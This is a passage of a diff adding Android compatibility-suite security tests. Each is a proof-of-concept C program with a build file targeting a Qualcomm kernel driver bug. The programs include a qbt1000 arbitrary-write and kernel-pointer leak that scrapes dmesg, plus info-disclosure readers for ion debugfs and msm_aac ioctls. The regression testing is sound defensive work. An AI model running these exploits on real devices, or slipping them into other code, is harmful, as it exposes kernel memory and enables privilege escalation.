+    if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
+      exit(EXIT_FAILURE);
+    }
+
+    fd = open(subdev, O_RDWR);
+    if (fd == -1) {
+      close(fd);
+      continue;
+    }
+
+    memset(&arg, 0, sizeof(arg));
+    memset(&info, 0, sizeof(info));
+    info.session_id = 2;
+    info.stream_id = 0;
+    info.index = 0;
+    arg.id = MSM_CAMERA_BUF_MNGR_IOCTL_ID_GET_BUF_BY_IDX;
+    arg.size = sizeof(struct msm_buf_mngr_info);
+    arg.ioctl_ptr = (__u64)&info;
+    cmd = VIDIOC_MSM_BUF_MNGR_IOCTL_CMD;
+    ret = ioctl(fd, cmd, &arg);
+
+    close(fd);
+  }
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
new file mode 100644
index 0000000..efe00f2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := Bug-35644510

+LOCAL_SRC_FILES := poc.c

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_ARM_MODE := arm

+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+CFLAGS += -Iinclude -fPIE

+LOCAL_LDFLAGS += -fPIE -pie

+LDFLAGS += -rdynamic

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-35644510/poc.c b/hostsidetests/security/securityPatch/Bug-35644510/poc.c
new file mode 100644
index 0000000..8dfd4b5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644510/poc.c
@@ -0,0 +1,359 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include <sys/klog.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/types.h> /* See NOTES */
+
+static const char *dev = "/dev/qbt1000";
+
+#define QBT1000_SNS_SERVICE_ID 0x138 /* From sns_common_v01.idl */
+#define QBT1000_SNS_SERVICE_VER_ID 1
+#define QBT1000_SNS_INSTANCE_INST_ID 0
+
+#define SNS_QFP_OPEN_RESP_V01 0x0020
+
+#define QMI_REQUEST_CONTROL_FLAG 0x00
+#define QMI_RESPONSE_CONTROL_FLAG 0x02
+#define QMI_INDICATION_CONTROL_FLAG 0x04
+#define QMI_HEADER_SIZE 7
+
+#define OPTIONAL_TLV_TYPE_START 0x10
+
+enum elem_type {
+  QMI_OPT_FLAG = 1,
+  QMI_DATA_LEN,
+  QMI_UNSIGNED_1_BYTE,
+  QMI_UNSIGNED_2_BYTE,
+  QMI_UNSIGNED_4_BYTE,
+  QMI_UNSIGNED_8_BYTE,
+  QMI_SIGNED_2_BYTE_ENUM,
+  QMI_SIGNED_4_BYTE_ENUM,
+  QMI_STRUCT,
+  QMI_STRING,
+  QMI_EOTI,
+};
+
+volatile int cont = 1;
+
+struct qmi_header {
+  unsigned char cntl_flag;
+  uint16_t txn_id;
+  uint16_t msg_id;
+  uint16_t msg_len;
+} __attribute__((__packed__));
+
+struct qseecom_handle {
+  void *dev;           /* in/out */
+  unsigned char *sbuf; /* in/out */
+  uint32_t sbuf_len;   /* in/out */
+};
+
+enum qbt1000_commands {
+  QBT1000_LOAD_APP = 100,
+  QBT1000_UNLOAD_APP = 101,
+  QBT1000_SEND_TZCMD = 102
+};
+
+struct qbt1000_app {
+  struct qseecom_handle **app_handle;
+  char name[32];
+  uint32_t size;
+  uint8_t high_band_width;
+};
+
+struct qbt1000_send_tz_cmd {
+  struct qseecom_handle *app_handle;
+  uint8_t *req_buf;
+  uint32_t req_buf_len;
+  uint8_t *rsp_buf;
+  uint32_t rsp_buf_len;
+};
+
+struct msm_ipc_port_addr {
+  uint32_t node_id;
+  uint32_t port_id;
+};
+
+struct msm_ipc_port_name {
+  uint32_t service;
+  uint32_t instance;
+};
+
+struct msm_ipc_addr {
+  unsigned char addrtype;
+  union {
+    struct msm_ipc_port_addr port_addr;
+    struct msm_ipc_port_name port_name;
+  } addr;
+};
+
+/*
+ * Socket API
+ */
+
+#define AF_MSM_IPC 27
+
+#define PF_MSM_IPCAF_MSM_IPC
+
+#define MSM_IPC_ADDR_NAME 1
+#define MSM_IPC_ADDR_ID 2
+
+struct sockaddr_msm_ipc {
+  unsigned short family;
+  struct msm_ipc_addr address;
+  unsigned char reserved;
+};
+
+struct qbt1000_app app = {0};
+
+static int get_fd(const char *dev_node) {
+  int fd;
+  fd = open(dev_node, O_RDWR);
+  if (fd < 0) {
+    cont = 0;
+    exit(EXIT_FAILURE);
+  }
+
+  return fd;
+}
+
+static void leak_heap_ptr(int fd) {
+  void *addr = NULL;
+  app.app_handle = (void *)&addr;
+  app.size = 32;
+  ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_load_app(int fd) {
+  struct qbt1000_app app = {0};
+
+  app.app_handle = (void *)0xABADACCE55013337;
+  ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_send_tzcmd(int fd) {
+  struct qseecom_handle hdl = {0};
+  struct qbt1000_send_tz_cmd cmd = {0};
+  int x = 0;
+
+  hdl.sbuf =
+      (void
+           *)0xffffffc0017b1b84;  // malloc(4096);//(void *) 0xABADACCE55000000;
+  cmd.app_handle = &hdl;
+  cmd.req_buf = &x;
+  cmd.rsp_buf = NULL;  // malloc(4096);
+  cmd.req_buf_len = cmd.rsp_buf_len = 4;
+
+  ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
+}
+
+static void recv_msgs(int fd) {
+  struct msghdr msg = {0};
+  struct iovec io = {0};
+  struct sockaddr_msm_ipc addr = {0};
+  struct msm_ipc_addr address = {0};
+  uint8_t *ptr;
+  struct qmi_header *hdr;
+  int count = 1;
+
+  io.iov_base = malloc(4096);
+  memset(io.iov_base, 0, 4096);
+  io.iov_len = 4096;
+
+  msg.msg_iovlen = 1;
+  msg.msg_iov = &io;
+  msg.msg_name = &addr;
+  msg.msg_namelen = sizeof(addr);
+
+  for (int i = 0; i < 1000; i++) {
+    recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+    memset(io.iov_base, 0, 128);
+    hdr = io.iov_base;
+
+    hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
+    hdr->txn_id = count++;
+    hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
+    hdr->msg_len = 3;
+
+    ptr = io.iov_base + sizeof(*hdr);
+
+    *ptr = OPTIONAL_TLV_TYPE_START;
+    ptr++;
+    *ptr = 0;
+    ptr++;
+    *ptr = 0;
+    sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+  }
+}
+
+#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
+static void setup_ipc_server(void) {
+  int fd;
+  struct sockaddr_msm_ipc addr = {0};
+  fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
+
+  if (fd < 0) {
+    exit(EXIT_FAILURE);
+  }
+
+  addr.family = AF_MSM_IPC;
+  addr.address.addrtype = MSM_IPC_ADDR_NAME;
+  addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
+  addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
+      QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
+
+  bind(fd, (struct sockaddr *)&addr, sizeof(addr));
+  recv_msgs(fd);
+  return;
+}
+
+static void *leak_ptr(void *ignore) {
+  void *save;
+  for (int i = 0; i < 1000; i++) {
+    if (app.app_handle != NULL) {
+      save = *app.app_handle;
+      if (save != NULL) {
+        break;
+      }
+    }
+  }
+  return 0;
+}
+
+static void *do_ipc_crap(void *ignore) { setup_ipc_server(); return 0; }
+
+int main2() {
+  int i;
+  int fd = open("/dev/qbt1000", O_RDWR);
+  if (fd < 0) {
+    return 1;
+  }
+
+  struct qbt1000_app app;
+
+  unsigned char *line = malloc(4096);
+  memset(line, 0, 4096);
+
+try_again:
+  system("dmesg -c");
+
+  memset(&app, 0x41, sizeof(app));
+
+  app.app_handle = malloc(64);
+  if (!app.app_handle) {
+    close(fd);
+    return 1;
+  }
+
+  ioctl(fd, QBT1000_LOAD_APP, &app);
+
+  free(app.app_handle);
+  unsigned offset;
+  unsigned bytes_leaked;
+  unsigned char leaked_bytes[256];
+  unsigned idle;
+  pid_t child;
+
+  memset(line, 0, 4096);
+  offset = 0;
+  bytes_leaked = 0;
+  idle = 0;
+  memset(leaked_bytes, 0, sizeof(leaked_bytes));
+  while (!strchr(line, '\n')) {
+    if (klogctl(9, NULL, 0))
+      offset += klogctl(2, &line[offset], 4096);
+    else
+      idle++;
+    if (idle > 1000) return 0;
+  }
+
+  char *inv = strstr(line, "qbt1000_ioctl:");
+  if (!inv) return 0;
+  inv = strstr(inv, "App ");
+  if (!inv) return 0;
+  inv += 4;  // go past "App"
+  char *a;
+  a = strchr(inv, 'A');
+  if (!a) return 0;
+
+  // keep going until no more A's
+  while (*a++ == 'A')
+    ;
+
+  int keep_going = 1;
+  while (*a != '\n' && *a != '\0') {
+    leaked_bytes[bytes_leaked++] = *a++;
+  }
+
+  if (bytes_leaked < 7) {
+    goto fork_it;
+  }
+
+#define KERN_ADDR 0xffffffc000000000
+  // let's do some post-processing to see if we got some pointers
+  for (i = 0; i < bytes_leaked - (sizeof(size_t) - 1); i++) {
+    size_t *c = (size_t *)(&leaked_bytes[i]);
+    if ((*c & KERN_ADDR) == KERN_ADDR) {
+      printf("KERNEL ADDRESS LEAKED = 0x%016lx\n", *c);
+      keep_going = 0;
+    }
+  }
+
+  bytes_leaked = 0;
+  memset(leaked_bytes, 0, sizeof(leaked_bytes));
+
+  if (keep_going) {
+  fork_it:
+    usleep(10000);
+    child = fork();
+    if (child == 0) {
+      return 0;
+    } else {
+      while (child = waitpid(-1, NULL, 0)) {
+        if (errno == ECHILD) break;
+      }
+    }
+  }
+
+  close(fd);
+  free(line);
+  return 0;
+}
+
+int main(void) {
+  pthread_t ipc;
+  pthread_create(&ipc, NULL, do_ipc_crap, NULL);
+
+  usleep(50000);
+
+  main2();
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35644815/Android.mk b/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
new file mode 100644
index 0000000..1dd2950
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644815/Android.mk
@@ -0,0 +1,35 @@
+#Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+ include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35644815
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35644815/poc.c b/hostsidetests/security/securityPatch/Bug-35644815/poc.c
new file mode 100644
index 0000000..d3482e0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644815/poc.c
@@ -0,0 +1,130 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+// for syscall
+#include <sys/syscall.h>
+// for futex
+#include <linux/futex.h>
+#include <sys/time.h>
+// for opendir / readdir
+#include <dirent.h>
+
+#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...) \
+  printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+
+static int set_affinity(int num) {
+  int ret = 0;
+  cpu_set_t mask;
+  CPU_ZERO(&mask);
+  CPU_SET(num, &mask);
+  ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+  if (ret == -1) {
+    ERR("[-] set affinity failed");
+  }
+  return ret;
+}
+
+struct ion_debugfs_handle_header {
+  unsigned int version;
+};
+
+struct ion_debugfs_handle_entry {
+  unsigned int heap_id;
+  size_t size;
+  unsigned int flags;
+  unsigned int handle_count;
+  size_t mapped_size;
+};
+
+struct ion_debugfs_handle {
+  struct ion_debugfs_handle_header hdr;
+  struct ion_debugfs_handle_entry entry;
+};
+
+#define TARGET "/sys/kernel/debug/ion/clients/pids/"
+int main(int argc, char *argv[]) {
+  int i, ret, tmpfd;
+  ssize_t rr;
+  char buf[PAGE_SIZE] = {0}, *p;
+  DIR *dir;
+  struct dirent *ent;
+  struct ion_debugfs_handle_header hdr = {0};
+  struct ion_debugfs_handle_entry entry = {0};
+  struct ion_debugfs_handle handle = {0};
+
+  /* bind_cpu */
+  set_affinity(0);
+
+  dir = opendir(TARGET);
+  if (dir == NULL) {
+    ERR("[-] opendir %s failed", TARGET);
+    return -1;
+  }
+
+  while (ent = readdir(dir)) {
+    if (ent->d_type != DT_REG) {
+      continue;
+    }
+
+    memset(buf, 0, PAGE_SIZE);
+    snprintf(buf, PAGE_SIZE, "%s%s", TARGET, ent->d_name);
+
+    tmpfd = open(buf, O_RDWR);
+
+    if (tmpfd == -1) {
+      continue;
+    }
+
+    rr = read(tmpfd, &hdr, sizeof(hdr));
+
+    for (;;) {
+      rr = read(tmpfd, &entry, sizeof(entry));
+      if (rr == 0) {
+        break;
+      }
+
+      if (rr != sizeof(entry)) {
+        break;
+      }
+
+      p = (char *)&entry;
+      p += sizeof(int);
+      printf("INFO DISC FLAG: ");
+      for (i = 0; i < sizeof(int); i++) {
+        printf("%x", p[i]);
+      }
+    }
+    close(tmpfd);
+  }
+  closedir(dir);
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35764875/Android.mk b/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
new file mode 100644
index 0000000..e62bdd2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35764875/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := Bug-35764875

+LOCAL_SRC_FILES := poc.c

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/

+

+LOCAL_ARM_MODE := arm

+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+CFLAGS += -Iinclude -fPIE

+LOCAL_LDFLAGS += -fPIE -pie

+LDFLAGS += -rdynamic

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-35764875/poc.c b/hostsidetests/security/securityPatch/Bug-35764875/poc.c
new file mode 100644
index 0000000..4b42cf2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35764875/poc.c
@@ -0,0 +1,128 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/wait.h>
+
+#include <dlfcn.h>
+#include <errno.h>
+#include <limits.h>
+
+#include <android/log.h>
+#include <jni.h>
+#include <linux/kdev_t.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <dirent.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <net/if.h>
+#include <pthread.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h> /* See NOTES */
+#include <unistd.h>
+
+typedef unsigned int __u32;
+typedef unsigned char __u8;
+typedef signed int s32;
+typedef unsigned int u32;
+typedef unsigned short u16;
+
+typedef u32 compat_uptr_t;
+struct msm_audio_aio_buf32 {
+  compat_uptr_t buf_addr;
+  u32 buf_len;
+  u32 data_len;
+  compat_uptr_t private_data;
+  u16 mfield_sz; /*only useful for data has meta field */
+};
+
+struct msm_audio_bitstream_info32 {
+  u32 codec_type;
+  u32 chan_info;
+  u32 sample_rate;
+  u32 bit_stream_info;
+  u32 bit_rate;
+  u32 unused[3];
+};
+
+struct msm_audio_bitstream_error_info32 {
+  u32 dec_id;
+  u32 err_msg_indicator;
+  u32 err_type;
+};
+
+union msm_audio_event_payload32 {
+  struct msm_audio_aio_buf32 aio_buf;
+  struct msm_audio_bitstream_info32 stream_info;
+  struct msm_audio_bitstream_error_info32 error_info;
+  s32 reserved;
+};
+
+struct msm_audio_event32 {
+  s32 event_type;
+  s32 timeout_ms;
+  union msm_audio_event_payload32 event_payload;
+};
+
+void print_bytes(u32* buf, size_t size) {
+  size_t i;
+  for (i = 0; i < size; i++) {
+    printf("%08x", i, (unsigned int)buf[i]);
+  }
+  printf("\n");
+}
+
+#define AUDIO_IOCTL_MAGIC 'a'
+#define AUDIO_GET_EVENT_32 _IOR(AUDIO_IOCTL_MAGIC, 13, struct msm_audio_event32)
+int main(int argc, char* argv[]) {
+  int trycount = 0;
+  int fd;
+  pthread_t tid1, tid2;
+  int ret = 0;
+  struct msm_audio_event32 event32, event32_dup;
+
+  fd = open("/dev/msm_aac", O_NONBLOCK | O_RDWR, 0660);
+
+  if (fd < 0) {
+    perror("open");
+    return -1;
+  }
+
+  memset(&event32_dup, 0, sizeof(event32_dup));
+  event32_dup.timeout_ms = 1;
+
+  for (int i = 0;i < 10000; i++) {
+    memcpy(&event32, &event32_dup, sizeof(event32_dup));
+    ret = ioctl(fd, AUDIO_GET_EVENT_32, &event32);
+
+    if (memcmp(&event32, &event32_dup, sizeof(event32)) != 0) {
+      printf("information leaked, trycount=%d, rc=%d, event_type=%d\n",
+             trycount, ret, event32.event_type);
+      print_bytes((u32*)&event32, sizeof(event32) / sizeof(u32));
+    }
+
+    trycount++;
+
+    usleep(100);
+  }
+
+  close(fd);
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35950388/Android.mk b/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
new file mode 100644
index 0000000..824e86f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35950388/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := Bug-35950388

+LOCAL_SRC_FILES := poc.c

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+LOCAL_C_INCLUDES += include

+LOCAL_ARM_MODE := arm

+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+CFLAGS += -Iinclude -fPIE

+LOCAL_LDFLAGS += -fPIE -pie

+LDFLAGS += -rdynamic

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-35950388/local_poc.h b/hostsidetests/security/securityPatch/Bug-35950388/local_poc.h
new file mode 100644
index 0000000..b96e307
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35950388/local_poc.h
@@ -0,0 +1,335 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS     8
+#define _IOC_TYPEBITS   8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE      0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE     1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ      2U
+#endif
+
+
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+        (((dir)  << _IOC_DIRSHIFT) | \
+         ((type) << _IOC_TYPESHIFT) | \
+         ((nr)   << _IOC_NRSHIFT) | \
+         ((size) << _IOC_SIZESHIFT))
+
+
+
+/* used to create numbers */
+#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+
+
+struct mult_factor {
+        uint32_t numer;
+        uint32_t denom;
+};
+
+struct mdp_rotation_buf_info {
+        uint32_t width;
+        uint32_t height;
+        uint32_t format;
+        struct mult_factor comp_ratio;
+};
+
+struct mdp_rotation_config {
+        uint32_t        version;
+        uint32_t        session_id;
+        struct mdp_rotation_buf_info        input;
+        struct mdp_rotation_buf_info        output;
+        uint32_t        frame_rate;
+        uint32_t        flags;
+        uint32_t        reserved[6];
+};
+
+
+struct mdp_rect {
+        uint32_t x;
+        uint32_t y;
+        uint32_t w;
+        uint32_t h;
+};
+
+
+
+
+struct mdp_layer_plane {
+        /* DMA buffer file descriptor information. */
+        int fd;
+
+        /* Pixel offset in the dma buffer. */
+        uint32_t offset;
+
+        /* Number of bytes in one scan line including padding bytes. */
+        uint32_t stride;
+};
+
+#define MAX_PLANES        4
+
+
+struct mdp_layer_buffer {
+        /* layer width in pixels. */
+        uint32_t width;
+
+        /* layer height in pixels. */
+        uint32_t height;
+
+        /*
+         * layer format in DRM-style fourcc, refer drm_fourcc.h for
+         * standard formats
+         */
+        uint32_t format;
+
+        /* plane to hold the fd, offset, etc for all color components */
+        struct mdp_layer_plane planes[MAX_PLANES];
+
+        /* valid planes count in layer planes list */
+        uint32_t plane_count;
+
+        /* compression ratio factor, value depends on the pixel format */
+        struct mult_factor comp_ratio;
+
+        /*
+         * SyncFence associated with this buffer. It is used in two ways.
+         *
+         * 1. Driver waits to consume the buffer till producer signals in case
+         * of primary and external display.
+         *
+         * 2. Writeback device uses buffer structure for output buffer where
+         * driver is producer. However, client sends the fence with buffer to
+         * indicate that consumer is still using the buffer and it is not ready
+         * for new content.
+         */
+        int         fence;
+
+        /* 32bits reserved value for future usage. */
+        uint32_t reserved;
+};
+
+
+struct mdp_rotation_item {
+        /* rotation request flag */
+        uint32_t        flags;
+
+        /* Source crop rectangle */
+        struct mdp_rect        src_rect;
+
+        /* Destination rectangle */
+        struct mdp_rect        dst_rect;
+
+        /* Input buffer for the request */
+        struct mdp_layer_buffer        input;
+
+        /* The output buffer for the request */
+        struct mdp_layer_buffer        output;
+
+        /*
+          * DMA pipe selection for this request by client:
+          * 0: DMA pipe 0
+          * 1: DMA pipe 1
+          * or MDSS_ROTATION_HW_ANY if client wants
+          * driver to allocate any that is available
+          */
+        uint32_t        pipe_idx;
+
+        /*
+          * Write-back block selection for this request by client:
+          * 0: Write-back block 0
+          * 1: Write-back block 1
+          * or MDSS_ROTATION_HW_ANY if client wants
